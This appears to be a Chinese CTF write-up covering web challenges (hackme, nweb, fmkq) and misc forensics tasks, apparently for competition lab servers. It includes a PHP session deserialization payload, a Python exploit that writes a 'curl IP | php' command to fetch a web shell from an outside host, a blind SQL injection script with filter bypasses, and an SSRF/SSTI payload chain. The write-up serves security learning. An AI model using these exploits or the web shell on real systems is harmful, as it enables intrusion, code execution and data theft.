Web

hackme

本题由湖南工业大学508战队提供。
http://121.36.222.22:88

dirsearch 探测存在 www.zip 源码泄露,下载源码进行审计。以 admin 的用户名登录后,可利用 PHP Session 反序列化漏洞更新 sign 为 |O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";i:1;},即可获取 admin 身份,进而访问 /core/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#hint : core/clear.php
$sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}
} else {
highlight_file(__FILE__);
}
} else {
die('只有管理员才能看到我哟');
}

可构造出如下 Payload 绕过 preg_match 正则及 parse_url RCE:

1
compress.zlib://data:@127.0.0.1/plain;base64,{}

接下来绕过 4 个字符限制 Getshell 即可,在自己的服务器上 80 端口开放 Web 服务,index.html 写入:

1
2
3
4
5
6
7
8
<?php
file_put_contents('fun.php', '
<?php
print shell_exec($_GET["cmd"]);
phpinfo();
?>
');
?>

受害主机成功执行curl IP | php 后即可在相应的 sandbox 子目录下生成 fun.php 从而 Getshell:

HTTP

Exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#-*-coding:utf8-*-
import requests as r
from time import sleep
import random
import hashlib
import base64
target = 'http://121.36.222.22:88/'

#sign = '|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";i:1;}'
#name = "admin"
cookies={'PHPSESSID': '37e06788cc145bb3b81b1fc339f140a8'}
page = "core/index.php"

# 存放待下载文件的公网主机的IP
shell_ip = '47.94.212.159'

# 将shell_IP转换成十六进制
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))
for i in shell_ip.split('.')])
# print ip

reset = target + 'core/clear.php'

# payload
payload = [
">dir",
">sl",
">g\>",
">ht-",
"*>v",
">rev",
"*v>x", # ls -th>g
">p",
">ph\\",
">\|\\",
">9f\\", # ip[8:10]
">d4\\", # ip[6:8]
">5e\\", # ip[4:6]
">2f\\", # ip[2:4]
">0x\\", # ip[0:2]
">\ \\",
">rl\\",
">cu\\",
"sh x",
"sh g" # 执行curl命令,下载文件,写入木马。
]

sandbox = target + 'core/sandbox/b23303a092479d32b1d59366b3477c8c/'

# clear
s = r.get(reset)
sleep(1)
# attack
for i in payload:
i = i.encode()
cmd = base64.b64encode(i)
cmd = cmd.decode()
data = {
"url":"compress.zlib://data:@127.0.0.1/plain;base64,{}".format(cmd)
}
print(data)
s = r.post(target+page, data=data, cookies=cookies)
print '[%d]' % s.status_code, s.url
sleep(2)
# check
s = r.get(sandbox + 'fun.php?cmd=cat /flag')
print '[%d]' % s.status_code, s.url
print s.text

# flag{B11e_oX4461_Y2h1_100_OIZW4===}

获取到 flag{B11e_oX4461_Y2h1_100_OIZW4===}.

- 参考链接 -

[1] https://www.anquanke.com/post/id/87203

nweb

本题由哈尔滨理工大学Birkenwald战队提供
http://121.37.179.47:1001/

search.php 页面 POST 提交的 flag 参数处存在 Bool 盲注(fuzz 发现过滤了 select/from 等关键字,可双写进行绕过),Exp 如下,在 fl4g 表中获取到 flag 字段 flag{Rogue-MySql-Server ,注出 admin 的 pwd 为 password 的 md5,somd5 解密获取密码 whoamiadmin ,然后登录管理后台提交 IP、Port 访问 Rogue MySQL Server 读取 /var/www/html/flag.php 获取到 flag的 后半部分为 -is-nday} => flag{Rogue-MySql-Server-is-nday}.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# -*- coding:utf8 -*-

import requests as r

url = "http://121.37.179.47:1001/search.php"

cookies = {
'PHPSESSID':'1jpum47ih0m9s9a7rnno93d0j1',
'username': 'd9417f87b1b0662583eaa28c0dd16c00'
}

# payload = "select flag from fl4g"
# flag{Rogue-MySql-Server
# //-is-nday} flag
# flag{Rogue-MySql-Server-is-nday}

# payload = "select group_concat(schema_name) from information_schema.schemata"
# information_schema,ctf-2

payload = "select group_concat(table_name) from information_schema.tables where table_schema = 'ctf2' "

# payload = "select group_concat(column_name) from information_schema.columns where table_name = 'admin'"
# username,pwd,qq

# payload = "select group_concat(username) from admin"
# admin

# payload ="select pwd from admin where username = 'admin'"
# e2ecea8b80a96fb07f43a2f83c8b0960
# whoamiadmin

# = '
# or and order by
payload = payload.replace('select', 'selselectect')
payload = payload.replace('from', 'frfromom')

param = "1' or ascii(substr((%s), %d, 1))%c%d #"

def check(data):
res = r.post(url, data=data, cookies=cookies)
if res.text == "There is flag!":
return True
else:
return False

def binSearch(payload):
print '[*]' + payload
result = ''
for i in range(1, 100):
left = 33
right = 127
#binary search
while left <= right:
mid = (left + right) // 2
#s = payload % (i, '=', mid)
data = {
"flag": param % (payload, i, '=', mid)
}
if check(data) == True:
result += chr(mid)
print result
break
else:
# s = payload % (i, '>', mid)
data = {
"flag": param % (payload, i, '>', mid)
}
if check(data):
left = mid + 1
else:
right = mid - 1
if left > right:
break
return result

if __name__ == "__main__":
res = binSearch(payload)
print res

fmkq

本题由东南大学SUS战队提供
flag在 /未知目录/flag
http://121.37.179.47:1101

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
$begin = "The number you want: ";
extract($_GET);
if($head == ''){
die('Where is your head?');
}
if(preg_match('/[A-Za-z0-9]/i',$head)){
die('Head can\'t be like this!');
}
if(preg_match('/log/i',$url)){
die('No No No');
}
if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
die('Don\'t use strange protocol!');
}
$funcname = $head.'curl_init';

$ch = $funcname();
if($ch){
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
}
else{
$output = 'rua';
}
echo sprintf($begin.'%d',$output);
}
else{
show_source(__FILE__);
}

可利用变量覆盖格式化字符串绕过 sprintf($begin.'%d',$output) 限制,输出 $output,构造出初步 payload 如下:

1
http://121.37.179.47:1101/?head=\&begin=%s%&url=

SSRF 探测内网端口,在 8080 端口发现:

1583754182209

结合 {file} 猜测可能为 SSTI,尝试一些 Payload:

  • {file.__init__.__globals__}

    1583754409756

  • {file.__init__.__globals__[vip].__init__.__globals__}

    在 vip 中的全局变量中获取到 vipcode:

    替换上 vipcode 后获取到 flag 位于 /fl4g_1s_h3re_u_wi11_rua/flag。

    1583754849272

    尝试直接读取发现做了过滤,读取 /app/base/readfile.py 获取源代码:

    1583755053659

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from .vip import vip
import re
import os

class File:
def __init__(self,file):
self.file = file

def __str__(self):
return self.file

def GetName(self):
return self.file


class readfile():

def __str__(self):
filename = self.GetFileName()
if '..' in filename or 'proc' in filename:
return "quanbumuda"
else:
try:
file = open("/tmp/" + filename, 'r')
content = file.read()
file.close()
return content
except:
return "error"

def __init__(self, data):
if re.match(r'file=.*?&vipcode=.*?',data) != None:
data = data.split('&')
data = {
data[0].split('=')[0]: data[0].split('=')[1],
data[1].split('=')[0]: data[1].split('=')[1]
}
if 'file' in data.keys():
self.file = File(data['file'])

if 'vipcode' in data.keys():
self.vipcode = data['vipcode']
self.vip = vip()


def test(self):
if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self):
return False
else:
return True

def isvip(self):
if self.vipcode == self.vip.GetCode():
return True
else:
return False

def GetFileName(self):
return self.file.GetName()


current_folder_file = []


class vipreadfile():
def __init__(self,readfile):
self.filename = readfile.GetFileName()
self.path = os.path.dirname(os.path.abspath(self.filename))
self.file = File(os.path.basename(os.path.abspath(self.filename)))
global current_folder_file
try:
current_folder_file = os.listdir(self.path)
except:
current_folder_file = current_folder_file

def __str__(self):
if 'fl4g' in self.path:
return 'nonono,this folder is a secret!!!'
else:
output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
output += filepath
output += '\r\n\r\nThe content is:\r\n'
try:
f = open(filepath,'r')
content = f.read()
f.close()
except:
content = 'can\'t read'
output += content
output += '\r\n\r\nOther files under the same folder:\r\n'
output += ' '.join(current_folder_file)
return output

读取同目录下的 vip.py 源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import random
import string

vipcode = ''

class vip:
def __init__(self):
global vipcode
if vipcode == '':
vipcode = ''.join(random.sample(string.ascii_letters+string.digits, 48))
self.truevipcode = vipcode
else:
self.truevipcode = vipcode

def GetCode(self):
return self.truevipcode

构造出最终 Payload 如下:

1
http://127.0.0.1:8080/read/file%3d/f{file.__class__.__init__.__globals__[vipreadfile].__module__[11]}4g_1s_h3re_u_wi11_rua/flag%26vipcode%3dOIH0T7lXky3baK6utzRvVMpJjgLQNWAfrGwBoPYediqD4Fhn

1583760094549

即可获取到 flag{qoSF2nKvwoGRI7aJ}。

Misc

隐藏的信息

本题由电子科技大学 Viking 战队提供

题目提供了一个压缩文件(纯数字.zip)及一张图片(二维码.jpg)

  1. 补全反色修复的 QR 中为假 flag,WinHex 查看 二维码.jpg 观察到到文本内容 USEBASE64TOGETYOURFLAG

  2. 7-Zip 直接提取 纯数字.zip 归档文件,获取到 隐藏的信息.wav 音频文件,在音频接近末尾的地方可以听见几声电话按键的声音,Audacity 分析音频 频谱图 观察到音频中插入了 DTMF Tones,对照下图提取出:187485618521

    1583750570681

    1583750464365

Base64 Encode 获取到 flag{MTg3NDg1NjE4NTIx}。

- 参考链接 -

[1] https://unframework.github.io/dtmf-detect/
[2] https://github.com/1r0dm480/CTF-Wr1T3uPs/tree/master/JASYPCTF19/stego/nosllaman

[3] https://www.huxiu.com/article/3227.html

ez_mem&usb

本题由东北农业大学LAG战队提供。

usb内存取证,最终得到的结果需要转换为小写字母

使用 Wireshark 对 captured.pcap 进行流量分析,发现上传文件 data.zip 导出解压获取到 data.vmem 虚拟内存文件。

Volatility cmdline 留意到 :

1
Cmd #0 @ 0x3609ea0: passwd:weak_auth_top100

filescan 检索到 flag.img dump,binwalk -e 分离出包含 usbdata.txt 的 zip 归档文件,password 即 weak_auth_top100

随后使用如下转换脚本解析 usb 流量获取到 FLAG[69200835784EC3ED8D2A64E73FE913C0]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." }
nums = []
keys = open('usbdata.txt')
for line in keys:
if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
continue
nums.append(int(line[6:8],16))
keys.close()
output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'
print 'output :\n' + output

则 flag 为 flag{69200835784ec3ed8d2a64e73fe913c0}。